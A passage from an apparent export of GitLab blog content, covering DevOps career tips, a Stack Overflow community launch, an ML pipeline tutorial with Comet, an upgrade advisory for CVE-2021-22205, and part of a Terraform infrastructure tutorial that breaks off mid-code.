[certifications](https://acloudguru.com/training-library/gcp-cloud-training?utm_campaign=11244863417&utm_source=google&utm_medium=cpc&utm_content=469352928666&utm_term=b_&adgroupid=115625160932&gclid=Cj0KCQjw5oiMBhDtARIsAJi0qk20jsoQ55oCnlbde3tozrDRExDxxiJ0AooFulqXXguwOX072-OwJNAaAjd3EALw_wcB).\n\n### Other opportunities to educate yourself\n\nYou also can find learning opportunities at a lot of conferences, coding events, bootcamps, hackathons and workshops. Especially in the time of COVID-19, think about taking advantage of online courses. [YouTube](https://www.youtube.com) is full of hands-on technical tutorials, including a lot from GitLab and other tech companies as well as consultants and individual contributors. Don’t forget GitLab Learn, where you can do a self-paced deep dive via video tutorials into a number of key DevOps areas, including [continuous integration (CI)](/solutions/continuous-integration/).\n\nAnd for female developers, organizations like [Women Who Code](https://www.womenwhocode.com/) offer scholarships, tutorials and educational materials.\n\nDon’t forget about mentorships. Find someone who has the knowledge and experience you need and ask them to work with you and bring you up to speed. Then don’t forget to later turn around and lend a hand to the person coming up after you.\n\nStay tuned for more information on what hard and soft skills you should consider adding to your resume.\n\n## Read more on DevOps careers:\n\n- [6 tips to make software developer hiring easier](/blog/6-tips-to-make-software-developer-hiring-easier/)\n\n- [Four tips to increase your DevOps salary](/blog/four-tips-to-increase-your-devops-salary/)\n\n- [DevOps salaries in 2021: Where do you rank?](/blog/a-look-at-devops-salaries/)\n\n- [Have DevOps jobs to fill? Try these 3 strategies to hire and retain](/blog/have-devops-jobs-to-fill-try-these-3-strategies-to-hire-and-retain/)\n",[7715,4103,2704],{"slug":16617,"featured":6,"template":678},"best-advice-for-your-devops-career-keep-on-learning","content:en-us:blog:best-advice-for-your-devops-career-keep-on-learning.yml","Best Advice For Your Devops Career Keep On Learning","en-us/blog/best-advice-for-your-devops-career-keep-on-learning.yml","en-us/blog/best-advice-for-your-devops-career-keep-on-learning",{"_path":16623,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16624,"content":16629,"config":16635,"_id":16637,"_type":16,"title":16638,"_source":17,"_file":16639,"_stem":16640,"_extension":20},"/en-us/blog/join-the-new-gitlab-collective-on-stack-overflow",{"title":16625,"description":16626,"ogTitle":16625,"ogDescription":16626,"noIndex":6,"ogImage":14458,"ogUrl":16627,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16627,"schema":16628},"Join the new GitLab Collective on Stack Overflow!","Now you can learn and share your best tips and tricks about version control, CI/CD, all-remote, DevOps platforms and more on the new GitLab Collective on Stack Overflow. Here's how to get started.","https://about.gitlab.com/blog/join-the-new-gitlab-collective-on-stack-overflow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Join the new GitLab Collective on Stack Overflow!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Nguyen\"}],\n        \"datePublished\": \"2021-11-08\",\n      }",{"title":16625,"description":16626,"authors":16630,"heroImage":14458,"date":16632,"body":16633,"category":736,"tags":16634},[16631],"Matt Nguyen","2021-11-08","\nWe’re very excited to announce the GitLab community has a new home on Stack Overflow: the GitLab Collective.\n \nWe know we already have a great relationship with our contributors and the open source community but [the GitLab Collective](https://stackoverflow.com/collectives/gitlab) on Stack Overflow will take that to the next level. Our collective will be a place contributors and developers can learn and share about version control, CI/CD, DevSecOps, all-remote, DevOps platforms and more.\n \n“Community is at the core of GitLab’s mission,” says [Brendan O’Leary](/company/team/#brendan), senior developer evangelist at GitLab. “With a contributor community of more than 2,600 people, we have a strong community aligned with our mission – to create a world where everyone can contribute. We believe the GitLab Collective will be a place where we can discover feedback and create opportunities for the GitLab community to contribute to Stack Overflow’s community.”\n\nFinding your way around the GitLab Collective is easy: look for the “gitlab” tag, or add “gitlab” to a more specific product search, like “gitlab-ci.” Ask questions, dive into in-depth technical data, or browse through how-to guides and articles. Contributions to the GitLab Collective will be tracked on a leaderboard, and if you’re a top contributor, we might tap you as a “Recognized Member” (basically a GitLab-approved guide who can help with questions and make recommendations).\n\n![GitLab on Stack Overflow](https://about.gitlab.com/images/blogimages/gitlabonstackoverflow.png){: .shadow}\n\n## What comes next\n\nIf you’re already a Stack Overflow user, please head to the GitLab Collective and start answering questions (you can ask questions too!). If you’re not a Stack Overflow user, we’d highly recommend you [join the community](https://stackoverflow.com). And remember you’ll earn reputation points on Stack Overflow by participating. \n\nRight now we’re in the process of creating the documentation that will outline how to become a “Recognized Member” on the GitLab Collective on Stack Overflow. As a Recognized Member, people can recommend answers and write articles on the GitLab Collective to help the community and show off their expertise. Recognized Members will also get a special badge on Stack Overflow that denotes them as a Recognized Members. More to come on this program so watch this space!\n",[267,2368,2704],{"slug":16636,"featured":6,"template":678},"join-the-new-gitlab-collective-on-stack-overflow","content:en-us:blog:join-the-new-gitlab-collective-on-stack-overflow.yml","Join The New Gitlab Collective On Stack Overflow","en-us/blog/join-the-new-gitlab-collective-on-stack-overflow.yml","en-us/blog/join-the-new-gitlab-collective-on-stack-overflow",{"_path":16642,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16643,"content":16649,"config":16653,"_id":16655,"_type":16,"title":16656,"_source":17,"_file":16657,"_stem":16658,"_extension":20},"/en-us/blog/machine-learning-on-the-gitlab-devops-platform",{"title":16644,"description":16645,"ogTitle":16644,"ogDescription":16645,"noIndex":6,"ogImage":16646,"ogUrl":16647,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16647,"schema":16648},"How Comet can streamline machine learning on The GitLab DevOps Platform","Here's a step-by-step look at how to bring ML into software development using Comet on GitLab's DevOps Platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669991/Blog/Hero%20Images/ways-to-encourage-collaboration.jpg","https://about.gitlab.com/blog/machine-learning-on-the-gitlab-devops-platform","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Comet can streamline machine learning on The GitLab DevOps Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Arias\"}],\n        \"datePublished\": \"2021-11-08\",\n      }",{"title":16644,"description":16645,"authors":16650,"heroImage":16646,"date":16632,"body":16651,"category":734,"tags":16652},[8213],"\n\nBuilding machine learning-powered applications comes with numerous challenges. When we talk about these challenges, there is a tendency to overly focus on problems related to the quality of a model’s predictions—things like data drift, changes in model architectures, or inference latency. \n\nWhile these are all problems worthy of deep consideration, an often overlooked challenge in [ML development](/topics/devops/the-role-of-ai-in-devops/) is the process of integrating a model into an existing software application.  \n\nIf you’re tasked with adding an ML feature to a product, you will almost certainly run into an existing codebase that must play nicely with your model. This is, to put it mildly, not an easy task. \n\nML is a highly iterative discipline. Teams often make many changes to their codebase and pipelines in the process of developing a model. Coupling an ML codebase to an application’s dependencies, unit tests, and CI/CD pipelines will significantly reduce the velocity with which ML teams can deliver on a solution, since each change would require running these downstream dependencies before a merge can be approved.  \n\nIn this post, we’re going to demonstrate how you can use [Comet](https://www.comet.ml/site/) with [GitLab’s DevOps platform](/solutions/devops-platform/) to streamline the workflow for your ML and software engineering teams, allowing them to collaborate without getting in each other's way.      \n\n## The challenge for ML teams working with application teams\n\nLet’s say your team is working on improving a feature engineering pipeline. You will likely have to test many combinations of features with some baseline model for the task to see which combinations make an impact on model performance.     \n \nIt is hard to know beforehand which features might be significant, so having to run multiple experiments is inevitable. If your ML code is a part of your application codebase, this would mean having to run your application’s CI/CD pipeline for every feature combination you might be trying. \n\nThis will certainly frustrate your Engineering and DevOps teams, since you would be unnecessarily tying up system resources, given that software engineering teams do not need to run their pipelines with the same frequency as ML teams do.  \n\nThe other issue is that despite having to run numerous experiments, only a single set of outputs from these experiments will make it to your production application. Therefore, the rest of the assets produced through these experiments are not relevant to your application code.     \n\nKeeping these two codebases separated will make life a lot easier for everyone – but it also introduces the problem of syncing the latest model between two codebases.     \n\n## Use The GitLab DevOps Platform and Comet for your model development process\n\nWith The GitLab DevOps platform and Comet, we can keep the workflows between ML and engineering teams separated, while enabling cross-team collaboration by preserving the visibility and auditability of the entire model development process across teams.     \n\nWe will use two separate projects to demonstrate this process. One project will contain our application code for a handwritten digit recognizer, while the other will contain all the code relevant to training and evaluating our model.  \n\nWe will adopt a process where discussions, code reviews, and model performance metrics get automatically published and tracked within The GitLab DevOps Platform, increasing the velocity and opportunity for collaboration between data scientists and software engineers for machine learning workflows.\n\n## Project setup\n\nOur project consists of two projects: [comet-model-trainer](https://gitlab.com/tech-marketing/devops-platform/comet-model-trainer) and [ml-ui](https://gitlab.com/tech-marketing/devops-platform/canara-review-apps-testing). \n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/cometmodeltrainer.png){: .shadow}\n\nThe **comet-model-trainer** repository contains scripts to train and evaluate a model on the MNIST dataset. We have set up The GitLab DevOps Platform in a way that runs the training and evaluation Pipeline whenever a new merge request is opened with the necessary changes.\n\nThe **ml-ui** repository contains the necessary code to build the frontend of our ML application.\n\nSince the code is integrated with Comet, your ML team can easily track the source code, hyperparameters, metrics, and other details related to the development of the model.  \n\nOnce the training and evaluation steps are completed, we can use Comet to fetch summary metrics from the project as well as metrics from the Candidate model and display them within the merge request; This will allow the ML team to easily review the changes to the model. \n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/buildmodelgraph.png){: .shadow}\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/summarymetrics.png){: .shadow}\n\nIn our case, the average accuracy of the models in the project is 97%. Our Candidate model achieved an accuracy of 99%, so it looks like it is a good fit to promote to production. The metrics displayed here are completely configurable and can be changed as necessary.        \n\nWhen the merge request is approved, the deployment pipeline is triggered and the model is pushed to Comet’s Model Registry. The Model Registry versions each model and links it back to the Comet Experiment that produced it.  \n![Alt text for your image](https://about.gitlab.com/images/blogimages/OpenComet_SparkVideo.gif){: .shadow}    \n\nOnce the model is pushed to the Model Registry, it is available to the application code. When the application team wishes to deploy this new version of the model to their app, they simply have to trigger their specific deployment pipeline.     \n\n## Running the pipeline\n\n### Pipeline outline\n\nWe will run the process outlined below every time a team member creates a merge request to change code in the `build-neural-network`script:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/modelapprove.png){: .shadow}\n\nNow, let’s take a look at the yaml config used to define our CI/CD pipelines depicted in the previous diagram:\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/workflowsbranch.png){: .shadow}\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/script.png){: .shadow}\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/registermodel.png){: .shadow}\n\nLet's break down the CI/CD pipeline by describing the gitlab-ci.yml file so you can use it and customize it to your needs.\n\nWe start by instructing our GitLab runners to utilize Python:3.8 to run the jobs specified in the pipeline: \n\n`Image: python:3.8`\n\nThen, we define the job where we want to build and train the neural network:\n\n`Build-neural-network`\n\n### Build-neural-network \n\nIn this step, we start by creating a folder where we will store the artifacts generated by this job, install dependencies using the requirements.txt file, and finally  execute the corresponding Python script that will be in charge of training the neural network. The training runs in the GitLab runner using the Python image defined above, along with its dependencies.\n\nOnce the `build-neural-network` job has finalized successfully, we move to the next job: `write-report-mr`\n\nHere, we use another image created by DVC that will allow us to publish a report right in the merge request opened by the contributor who changed code in the neural network script. In this way, we’ve brought software development workflows to the development of ML applications. With the report provided by this job, code and model review can be executed within the merge request view, enabling teams to collaborate not only around the code but also the model performance.\n\nFrom the merge request page, we get access to loss curves and other relevant performance metrics from the model we are training, along with a link to the Comet Experiment UI, where richer details are provided to evaluate the model performance. These details include interactive charts for model metrics, the model hyperparameters, and Confusion Matrices of the test set performance, to name a few. \n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/manualDeploy_SparkVideo.gif){: .shadow}\n\nWhen the team is done with the code and model review,  the merge request gets approved, and the script that generated the model is merged into the main codebase, along with its respective commit and the CI pipeline associated to it. This takes us to the next job: \n\n### Register-model\n\nThis job uses an integration between GitLab and Comet to upload the reviewed and accepted version of the model to the Comet Model Registry. If you recall, the Model Registry is where models intended for production can be logged and versioned. In order to run the commands that will register the model, we need to set up these variables: \n\n- COMET_WORKSPACE\n- COMET_PROJECT_NAME \n \nIn order to do that, follow the steps described [here](https://docs.gitlab.com/ee/ci/variables/#add-a-cicd-variable-to-an-instance).\n\nIt is worth noting that the `register-model` job only runs when the merge request gets reviewed and approved, and this behavior is obtained by setting `only: main` at the end of the job.\n\nFinally, we decide to let a team member have final control of the deployment so therefore we define a manual job:\n`Deploy-ml-ui`\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/deployuiml.png){: .shadow}\n\nWhen triggered, this job will import the model from Comet’s Model Registry and automatically create the necessary containers to build the user interface and deploy to a Kubernetes cluster. \n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/downstream.png){: .shadow}\n\nThis job triggers a downstream pipeline, which means that the UI for this MNIST application resides in a different project. This keeps the codebase for the UI and model training separated but integrated and connected at the moment of deploying the model to a production environment.\n\n![Alt text for your image](https://about.gitlab.com/images/blogimages/multipipeline_SparkVideo.gif){: .shadow}\n\n## Key takeaways\n\nIn this post, we addressed some of the challenges faced by ML and software teams when it comes to collaborating on delivering ML-powered applications. Some of these challenges include:\n\n* The discrepancy in the frequency with which each of these teams need to iterate on their codebases and CI/CD pipelines.\n\n* The fact that only a single set of experiment assets from an ML experimentation pipeline is relevant to the application.\n\n* The challenge of syncing a model or other experiment assets across independent codebases.   \n\nUsing The GitLab DevOps Platform and Comet, we can start bridging the gap between ML and software engineering teams over the course of a project. \n\nBy having model performance metrics adopted into software development workflows like the one we saw in the issue and merge request, we can keep track of the code changes, discussions, experiments, and models created in the process. All the operations executed by the team are recorded, can be audited, are end-to end-traceable, and (most importantly) reproducible. \n\nWatch a demo of this process:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/W_DsNl5aAVk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n_About Comet:_\nComet is an MLOps Platform that is designed to help data scientists and teams build better models faster! Comet provides tooling to Track, Explain, Manage, and Monitor your models in a single place! \n\nLearn more about Comet [here](https://www.comet.ml/site/) and get started for free!\n\n\n\n",[4103,4144,232,790],{"slug":16654,"featured":6,"template":678},"machine-learning-on-the-gitlab-devops-platform","content:en-us:blog:machine-learning-on-the-gitlab-devops-platform.yml","Machine Learning On The Gitlab Devops Platform","en-us/blog/machine-learning-on-the-gitlab-devops-platform.yml","en-us/blog/machine-learning-on-the-gitlab-devops-platform",{"_path":16660,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16661,"content":16666,"config":16671,"_id":16673,"_type":16,"title":16674,"_source":17,"_file":16675,"_stem":16676,"_extension":20},"/en-us/blog/action-needed-in-response-to-cve2021-22205",{"title":16662,"description":16663,"ogTitle":16662,"ogDescription":16663,"noIndex":6,"ogImage":14173,"ogUrl":16664,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16664,"schema":16665},"Action needed by self-managed customers in response to CVE-2021-22205","Self-managed users using outdated versions should update immediately.","https://about.gitlab.com/blog/action-needed-in-response-to-cve2021-22205","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Action needed by self-managed customers in response to CVE-2021-22205\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-11-04\",\n      }",{"title":16662,"description":16663,"authors":16667,"heroImage":14173,"date":16668,"body":16669,"category":674,"tags":16670},[711],"2021-11-04","\n\n[CVE-2021-22205](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22205) is a critical severity vulnerability (CVSS 10.0) that is a result of improper validation of image files by a 3rd-party file parser Exif-Tool, resulting in a remote command execution vulnerability that can lead to the compromise of your GitLab instance.\n\nThis issue was remediated and patched in the [GitLab 13.10.3, 13.9.6, and 13.8.8 release from April 14, 2021](/releases/2021/04/14/security-release-gitlab-13-10-3-released/).\n\n**We have confirmed reports of the vulnerability being exploited on self-managed public-facing GitLab instances.** GitLab.com users are not affected.\n\n**GitLab versions affected by CVE-2021-22205:**\n\nSelf-managed customers running the following GitLab versions are vulnerable to this publicly available exploit:\n* 11.9.x - 13.8.7\n* 13.9.0 - 13.9.5\n* 13.10.0 - 13.10.2 \n\nGitLab self-managed administrators can see their GitLab version at `\u003Cgitlab_url>/admin`.\nSee more about the [dashboard](https://docs.gitlab.com/ee/administration/admin_area.html#admin-area-dashboard).\n\n**Determine if you have been impacted:**\n\nSteps that users can take to investigate whether their GitLab instance has been compromised are outlined in this forum post, [\"CVE-2021-22205: How to determine if a self-managed instance has been impacted\"](https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918).\n\n**Action you need to take:**\n\nDue to the severity and potential impact from exploitation of this vulnerability, it is imperative users upgrade to a fixed version as soon as possible: [https://about.gitlab.com/update](/update). This issue was remediated and patched in the [GitLab 13.10.3, 13.9.6, and 13.8.8 release from April 14, 2021](/releases/2021/04/14/security-release-gitlab-13-10-3-released/).\n\nIf you can't upgrade quickly, a [hotpatch is available](https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918/2).\n  \nIf you have questions, you may post in our [forum on this topic](https://forum.gitlab.com/t/cve-2021-22205-how-to-determine-if-a-self-managed-instance-has-been-impacted/60918). If you have an active Support contract, please create a support ticket at [support.gitlab.com](http://support.gitlab.com/).\n\nPlease [subscribe to our security alarts mailing list](https://about.gitlab.com/company/preference-center/).\n",[674],{"slug":16672,"featured":6,"template":678},"action-needed-in-response-to-cve2021-22205","content:en-us:blog:action-needed-in-response-to-cve2021-22205.yml","Action Needed In Response To Cve2021 22205","en-us/blog/action-needed-in-response-to-cve2021-22205.yml","en-us/blog/action-needed-in-response-to-cve2021-22205",{"_path":16678,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":16679,"content":16684,"config":16688,"_id":16690,"_type":16,"title":16691,"_source":17,"_file":16692,"_stem":16693,"_extension":20},"/en-us/blog/gitops-with-gitlab-infrastructure-provisioning",{"title":16680,"description":16681,"ogTitle":16680,"ogDescription":16681,"noIndex":6,"ogImage":12013,"ogUrl":16682,"ogSiteName":1180,"ogType":1181,"canonicalUrls":16682,"schema":16683},"GitOps with GitLab: Infrastructure provisioning with GitLab and Terraform","In part two of our GitOps series, we set up the infrastructure using GitLab and Terraform. Here's everything you need to know.","https://about.gitlab.com/blog/gitops-with-gitlab-infrastructure-provisioning","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitOps with GitLab: Infrastructure provisioning with GitLab and Terraform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-11-04\",\n      }",{"title":16680,"description":16681,"authors":16685,"heroImage":12013,"date":16668,"body":16686,"category":734,"tags":16687},[2544],"\n\n_It is possible to use GitLab as a best-in-class GitOps tool, and this blog post series is going to show you how. These easy-to-follow tutorials will focus on different user problems, including provisioning, managing a base infrastructure, and deploying various third-party or custom applications on top of them. You can find the entire \"Ultimate guide to GitOps with GitLab\" tutorial series [here](/blog/the-ultimate-guide-to-gitops-with-gitlab/)._\n\nThis post focuses on setting up the underlying infrastructure using GitLab and Terraform. \n\nThe first step is to have a network and some computing instances that we can use as our Kubernetes cluster. In this project, I’ll use [Civo](https://www.civo.com) to host the infrastructure as it has the most minimal setup, but the same can be achieved using any of the hyperclouds. GitLab documentation provides examples on how to set up a [cluster on AWS](https://docs.gitlab.com/ee/user/infrastructure/clusters/connect/new_eks_cluster.html) or [GCP](https://docs.gitlab.com/ee/user/infrastructure/clusters/connect/new_gke_cluster.html).\n\nWe want to have a project that describes our [infrastructure as code (IaC)](/topics/gitops/infrastructure-as-code/). As Terraform is today the de facto standard in infrastructure provisioning, we’ll use Terraform for the task. Terraform requires a state storage backend; We will use the GitLab managed Terraform state that is very easy to get started. Moreover, we will set up a pipeline to run the infrastructure changes automatically if they are merged to the main branch.\n\n## What infrastructure related steps are we going to codify?\n\n1. Create a VPC\n2. Set up a Kubernetes cluster\n\nActually, we will create separate Terraform projects for these 3 steps under a single GitLab project. We split the infrastructure because in a real world scenario, these projects will likely be a bit bigger, and Terraform slows down quite a lot if it has to deal with big projects. In general, it is a good practice to have small Terraform projects, and think about the infrastructure in a layered way, where higher layers can reference the output of lower layers. There are [many ways to access the output of another Terraform project](https://www.terraform.io/docs/language/state/remote-state-data.html#alternative-ways-to-share-data-between-configurations), and we leave it up to the reader to learn more about these. In this case, we will use simple data resources.\n\nAfter this long intro, let’s get started!\n\n## Creating the network\n\nFirst, let’s create a new GitLab project. You can use either an empty project or any of the project templates. If you plan to do all these tutorials, I recommend starting with the [Cluster Management Project template](https://docs.gitlab.com/ee/user/clusters/management_project_template.html). Once the project is ready, let’s create the following files:\n\n- A `terraform/network/main.tf` file:\n\n```hcl\nterraform {\n  required_providers {\n    civo = {\n      source = \"civo/civo\"\n      version = \"0.10.10”\n    }\n  }\n  backend \"http\" {\n  }\n}\n\n# Configure the Civo Provider\nprovider \"civo\" {\n  token = var.civo_token\n  region = local.region\n}\n\nresource \"civo_network\" \"network\" {\n    label = \"development\"\n}\n```\n\nThis file describes almost everything we want this project to do. The first block configures Terraform to use the `civo/civo` provider and a simple `http` backend for state storage. As I mentioned above, we will use [the GitLab managed Terraform state](https://docs.gitlab.com/ee/user/infrastructure/iac/terraform_state.html), that acts like an `http` backend from Terraform’s point of view. The GitLab backend is versioned and encrypted by default, and GitLab CI/CD contains all the environment variables needed to access it. I will demonstrate later how you can access the backend either from the local command line or from GitLab CI/CD.\n\nNext we configure the `Civo` provider. You can see that here we use two variables, an input and a local variable. These will be defined in separate files below. Finally, we describe a network and give it the “development” label.\n\n- A `terraform/network/outputs.tf` file:\n\n```hcl\noutput \"network\" {\n  value = civo_network.network.id\n}\n```\n\nThis file just provides the network id as an output variable from Terraform. Other projects could consume it. We won’t use this, but I consider it a good practice as it might help to debug issues.\n\n- A `terraform/network/locals.tf` file:\n\n```hcl\nlocals {\n  region = \"LON1\"\n}\n```\n\nHere we define the `region` local as mentioned under the description of the `main.tf` file. Why aren’t we making it an input variable? Because this is closely related to our infrastructure and for this reason we want to keep it in code. It should be version controlled and changes should be reviewed following the team’s processes. We could write the values into a `.tfvars` file also to achieve versioning and have it as a variable. I prefer to keep it in `hcl` to have it closer to the rest of the code.\n\n- A `terraform/network/variables.tf` file:\n\n```hcl\nvariable \"civo_token\" {\n  type = string\n  sensitive = true\n}\n```\n\nFinally, we define the Civo access token as an input variable.\n\nNow, we are ready with the Terraform code, but we cannot access the GitLab state backend yet. For that we either need to configure our local environment or GitLab CI/CD. Let’s see both setups.\n\n## Running Terraform locally\n\nYou can run Terraform either locally or using GitLab CI/CD. The following two sections present both approaches.\n\n### Accessing the GitLab Terraform state backend locally\n\nThe simplest way to configure the “http” backend is using environment variables. There are many environment variables needed though! For this reason, I prefer to use a collection of [direnv](https://direnv.net/) files. We will need all these environment variables configured:\n\n```\nTF_HTTP_PASSWORD\nTF_HTTP_USERNAME\nTF_HTTP_ADDRESS\nTF_HTTP_LOCK_ADDRESS\nTF_HTTP_LOCK_METHOD\nTF_HTTP_UNLOCK_ADDRESS\nTF_HTTP_UNLOCK_METHOD\nTF_HTTP_RETRY_WAIT_MIN\n```\n\nDirenv enables us to add a few files to our repository to describe the above environment variables in a nice and scalable way. Clearly, there are some variables that are sensitive, like `TF_HTTP_PASSWORD`, so this should not be stored in git. Moreover, we could reuse most of these variables in the other two Terraform projects we are going to create. With these considerations in mind, let’s create the following 3 files:\n\n- Create `terraform/network/.envrc`: \n\n```\nexport TF_STATE_NAME=civo-${PWD##*terraform/}\nsource_env ../../.main.env\n```\n\nThis sets the `TF_STATE_NAME` variable to `civo-network` using some bash magic and loads the `.main.env` file from the root of the repository using the `source_env` method provided by `direnv`. This can be added to version control safely.\n\n- Create `.main.env`:\n\n```\nsource_env_if_exists ./.local.env\n\nCI_PROJECT_ID=28431043\nexport TF_HTTP_PASSWORD=\"${CI_JOB_TOKEN:-$GITLAB_ACCESS_TOKEN}\"\nexport TF_HTTP_USERNAME=\"${GITLAB_USER_LOGIN}\"\nexport GITLAB_URL=https://gitlab.com\n\nexport TF_VAR_remote_address_base=\"${GITLAB_URL}/api/v4/projects/${CI_PROJECT_ID}/terraform/state\"\nexport TF_HTTP_ADDRESS=\"${TF_VAR_remote_address_base}/${TF_STATE_NAME}\"\nexport TF_HTTP_LOCK_ADDRESS=\"${TF_HTTP_ADDRESS}/lock\"\nexport TF_HTTP_LOCK_METHOD=\"POST\"\nexport TF_HTTP_UNLOCK_ADDRESS=\"${TF_HTTP_LOCK_ADDRESS}\"\nexport TF_HTTP_UNLOCK_METHOD=\"DELETE\"\nexport TF_HTTP_RETRY_WAIT_MIN=5\n\n# export TF_LOG=\"TRACE\"\n```\n\nThis file contains the bulk of the environment variables we need, and can be added to version control safely as no secrets are stored there. The first line loads the `.local.env` file that will contain the sensitive values, again using a `direnv` method. The second line contains the GitLab project ID. This is shown under the project name of your GitLab project. The next three lines configure access to GitLab. The username and password will be populated from the `local.env` file, while the `GITLAB_URL` variable is there to help you if you are on a self-managed GitLab instance.\n\n- Create `.local.env` and add it to `.gitignore`:\n\n```\nGITLAB_ACCESS_TOKEN=\u003Cyour GitLab personal access token>\nGITLAB_USER_LOGIN=\u003Cyour GitLAb username>\nexport TF_VAR_civo_token=\u003Cyour Civo access token>\n```\n\nClearly, I cannot provide the values for this file. Please fill them out with your credentials. You can generate a GitLab personal access token under your settings. To access the GitLab managed Terraform state using a personal access token, the token should have the `api` scope enabled.\n\nWarning: **Don’t forget to add this file to `.gitignore`**. Actually, I have it in my global gitignore file to avoid accidental commits.\n\nAs the environment variables are set up, you should make direnv to start using these variables. When you `cd` into the `terraform/network` directory a warning should appear asking you to run `direnv allow`. Enable the environment variables:\n\n```\ncd terraform/network\ndirenv allow\n```\n\n### Creating the network - finally\n\nLet’s see if we managed to set up everything right!\n\n```\nterraform init\nterraform plan\n```\n\nThe first command just initializes Terraform, downloads the Civo plugin and does some sanity checks. The second command on the other hand connects to the remote state backend, and computes the necessary changes to provide the infrastructure we described in this project.\n\nIf we like the changes, we can apply them with\n\n```\nterraform apply\n```\n\n_Nota bene_, in a real world setup, you would likely output a plan file from `terraform plan` and feed it into `terraform apply`, just like the CI/CD setup will do it later. Anyway, this is good enough for us, so let’s create the cluster next.\n\n### Running Terraform using GitLab CI/CD\n\nNote: This section assumes that you have access to GitLab Runners to run the CI/CD jobs.\n\nGiven the flexibility of GitLab CI/CD it can be set up in many different ways. Here we will build a pipeline that incorporates the most important aspects of a Terraform-oriented pipeline, without restricting you to require merge requests or any other processes. The only restriction we'll place on it is that changes should only be applied on the main branch and this should be a manual action.\n\nCopy the following code into `.gitlab-ci.yml` in the root of your project:\n\n```yaml\ninclude:\n  - template: \"Terraform/Base.latest.gitlab-ci.yml\"\n\nstages:\n- init\n- build\n- deploy\n\nnetwork:init:\n  extends: .terraform:init\n  stage: init\n  variables:\n    TF_ROOT: terraform/network\n    TF_STATE_NAME: network\n  only:\n    changes:\n      - \"terraform/network/*\"\n\nnetwork:review:\n  extends: .terraform:build\n  stage: build\n  variables:\n    TF_ROOT: terraform/network\n    TF_STATE_NAME: network\n  resource_group: tf:network\n  only:\n    changes:\n      - \"terraform/network/*\"\n\nnetwork:deploy:\n  extends: .terraform:deploy\n  stage: deploy\n  variables:\n    TF_ROOT: terraform/network\n    TF_STATE_NAME: network\n  resource_group: tf:network\n  environment:\n    name: dns\n  when: manual\n  only:\n    changes:\n      - \"terraform/network/*\"\n    variables:\n      - $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH\n```\n\nThis CI pipeline re-uses [the latest base Terraform CI template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Terraform) shipped with GitLab, and runs the jobs by simply parameterizing them as function calls. Let's review quickly the keys used:\n\n- the [`stages`](https://docs.gitlab.com/ee/ci/yaml/#stages) keyword provides a list of stages to compose the pipeline\n- the [`extends`](https://docs.gitlab.com/ee/ci/yaml/#extends) keyword refers to the job defined in [the base Terraform template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Terraform/Base.latest.gitlab-ci.yml)\n- the [`variables`](https://docs.gitlab.com/ee/ci/yaml/#variables) keywords parameterizes the job for our requirements\n- the [`resource_group`](https://docs.gitlab.com/ee/ci/yaml/#resource_group) keyword assures that always only one potentially conflicting job is run\n- the [`only`](https://docs.gitlab.com/ee/ci/yaml/#only--except) keyword restricts runs to specific situations\n\nIf you commit this file and push it to GitLab, a new pipeline will be created that as a last step provides you a manual job to create your network. We will extend this file later throughout this tutorial series.\n\n## Create a Kubernetes cluster\n\nThe code required for the cluster will be very similar to the code for the network.\n\n- Add `terraform/cluster/outputs.tf` file:\n\n```hcl\nterraform {\n  required_providers {\n    civo = {\n      source = \"civo/civo\"\n      version = \"0.10.4\"\n    }\n  }\n  backend \"http\" {\n  }\n}\n\n# Configure the Civo Provider\nprovider \"civo\" {\n  token = var.civo_token\n  region = local.region\n}\n\nresource \"civo_kubernetes_cluster\" \"dev-cluster\" {\n    name = \"dev-cluster\"\n    // tags = \"gitlab demo\"  // Do not add tags! There is a bug in the civo-provider :(\n    network_id = data.civo_network.network.id\n    applications = \"\"\n    num_target_nodes = 3\n    target_nodes_size = element(data.civo_instances_size.small.sizes, 0).name\n}\n```\n\nThe only difference compared to `terraform/network/outputs.tf` is the last resource as that describes the cluster. You can see how we reference the network created before. Of course, we'll need a `data` resource for this and the instance sizes.\n\n- Add `terraform/cluster/data.tf` file:\n\n```hcl\ndata \"civo_instances_size\" \"small\" {\n    filter {\n        key = \"name\"\n        values = 